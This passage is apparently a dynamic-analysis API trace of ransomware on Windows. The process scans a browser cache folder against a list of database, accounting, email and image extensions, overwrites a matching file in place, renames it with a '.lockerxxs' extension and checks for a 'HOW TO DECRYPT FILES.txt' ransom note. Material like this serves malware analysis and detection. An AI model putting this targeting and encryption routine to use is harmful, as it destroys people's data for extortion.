GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.206] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBE7GLE[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" [0083.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.ems") returned 0 [0083.206] lstrlenA (lpString="*.ems") returned 5 [0083.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.db") returned 0 [0083.206] lstrlenA (lpString="*.db") returned 4 [0083.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.dbf") returned 0 [0083.206] lstrlenA (lpString="*.dbf") returned 5 [0083.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.myox") returned 0 [0083.207] lstrlenA (lpString="*.myox") returned 6 [0083.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.myo") returned 0 [0083.207] lstrlenA (lpString="*.myo") returned 5 [0083.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qbw") returned 0 [0083.207] lstrlenA (lpString="*.qbw") returned 5 [0083.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qbb") returned 0 [0083.207] lstrlenA (lpString="*.qbb") returned 5 [0083.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qbm") returned 0 [0083.207] lstrlenA (lpString="*.qbm") returned 5 [0083.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qbo") returned 0 [0083.207] lstrlenA (lpString="*.qbo") returned 5 [0083.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qbx") returned 0 [0083.207] lstrlenA (lpString="*.qbx") returned 5 [0083.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qba") returned 0 [0083.208] lstrlenA (lpString="*.qba") returned 5 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qby") returned 0 [0083.208] lstrlenA (lpString="*.qby") returned 5 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qbj") returned 0 [0083.208] lstrlenA (lpString="*.qbj") returned 5 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.ofx") returned 0 [0083.208] lstrlenA (lpString="*.ofx") returned 5 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.qif") returned 0 [0083.208] lstrlenA (lpString="*.qif") returned 5 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.mye") returned 0 [0083.208] lstrlenA (lpString="*.mye") returned 5 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.mbox") returned 0 [0083.208] lstrlenA (lpString="*.mbox") returned 6 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.eml") returned 0 [0083.208] lstrlenA (lpString="*.eml") returned 5 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.pst") returned 0 [0083.208] lstrlenA (lpString="*.pst") returned 5 [0083.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.ost") returned 0 [0083.209] lstrlenA (lpString="*.ost") returned 5 [0083.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.idx") returned 0 [0083.209] lstrlenA (lpString="*.idx") returned 5 [0083.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.dbx") returned 0 [0083.209] lstrlenA (lpString="*.dbx") returned 5 [0083.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.sql") returned 0 [0083.209] lstrlenA (lpString="*.sql") returned 5 [0083.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.mdb") returned 0 [0083.209] lstrlenA (lpString="*.mdb") returned 5 [0083.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.fdb") returned 0 [0083.209] lstrlenA (lpString="*.fdb") returned 5 [0083.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.wab") returned 0 [0083.209] lstrlenA (lpString="*.wab") returned 5 [0083.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.dat") returned 0 [0083.209] lstrlenA (lpString="*.dat") returned 5 [0083.209] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.txt") returned 0 [0083.209] lstrlenA (lpString="*.txt") returned 5 [0083.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.jpeg") returned 0 [0083.210] lstrlenA (lpString="*.jpeg") returned 6 [0083.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.jpg") returned 0 [0083.210] lstrlenA (lpString="*.jpg") returned 5 [0083.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", pszSpec="*.png") returned 1 [0083.210] lstrlenA (lpString="*.png") returned 5 [0083.210] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" [0083.210] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" [0083.210] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png." [0083.210] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.lockerxxs" [0083.210] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.211] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2b5 [0083.211] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x459ad690, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x459ad690, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x459ad690, dwHighDateTime=0x1d2faf3)) returned 1 [0083.211] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.211] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x28f, lpOverlapped=0x0) returned 1 [0083.213] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png") returned="BBE7GLE[1].png" [0083.213] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.213] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x28f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x28f, lpOverlapped=0x0) returned 1 [0083.213] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.214] CloseHandle (hObject=0xa4) returned 1 [0083.214] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png.lockerxxs")) returned 1 [0083.215] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ade190, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ade190, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b042f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1c9b, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBE8aLO[1].jpg", cAlternateFileName="BBE8AL~1.JPG")) returned 1 [0083.215] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.215] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBE8aLO[1].jpg") returned 1 [0083.215] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBE8aLO[1].jpg") returned 1 [0083.215] lstrcmpiA (lpString1="", lpString2="BBE8aLO[1].jpg") returned -1 [0083.215] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png") returned="BBE7GLE[1].png" [0083.215] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.215] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.215] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.215] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.215] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBE8aLO[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" [0083.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.ems") returned 0 [0083.215] lstrlenA (lpString="*.ems") returned 5 [0083.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.db") returned 0 [0083.215] lstrlenA (lpString="*.db") returned 4 [0083.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.dbf") returned 0 [0083.215] lstrlenA (lpString="*.dbf") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.myox") returned 0 [0083.216] lstrlenA (lpString="*.myox") returned 6 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.myo") returned 0 [0083.216] lstrlenA (lpString="*.myo") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qbw") returned 0 [0083.216] lstrlenA (lpString="*.qbw") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qbb") returned 0 [0083.216] lstrlenA (lpString="*.qbb") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qbm") returned 0 [0083.216] lstrlenA (lpString="*.qbm") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qbo") returned 0 [0083.216] lstrlenA (lpString="*.qbo") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qbx") returned 0 [0083.216] lstrlenA (lpString="*.qbx") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qba") returned 0 [0083.216] lstrlenA (lpString="*.qba") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qby") returned 0 [0083.216] lstrlenA (lpString="*.qby") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qbj") returned 0 [0083.216] lstrlenA (lpString="*.qbj") returned 5 [0083.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.ofx") returned 0 [0083.217] lstrlenA (lpString="*.ofx") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.qif") returned 0 [0083.217] lstrlenA (lpString="*.qif") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.mye") returned 0 [0083.217] lstrlenA (lpString="*.mye") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.mbox") returned 0 [0083.217] lstrlenA (lpString="*.mbox") returned 6 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.eml") returned 0 [0083.217] lstrlenA (lpString="*.eml") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.pst") returned 0 [0083.217] lstrlenA (lpString="*.pst") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.ost") returned 0 [0083.217] lstrlenA (lpString="*.ost") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.idx") returned 0 [0083.217] lstrlenA (lpString="*.idx") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.dbx") returned 0 [0083.217] lstrlenA (lpString="*.dbx") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.sql") returned 0 [0083.217] lstrlenA (lpString="*.sql") returned 5 [0083.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.mdb") returned 0 [0083.217] lstrlenA (lpString="*.mdb") returned 5 [0083.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.fdb") returned 0 [0083.218] lstrlenA (lpString="*.fdb") returned 5 [0083.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.wab") returned 0 [0083.218] lstrlenA (lpString="*.wab") returned 5 [0083.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg", pszSpec="*.dat") returned 0 [0083.218] lstrlenA (lpString="*.dat") returned 5 [0083.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 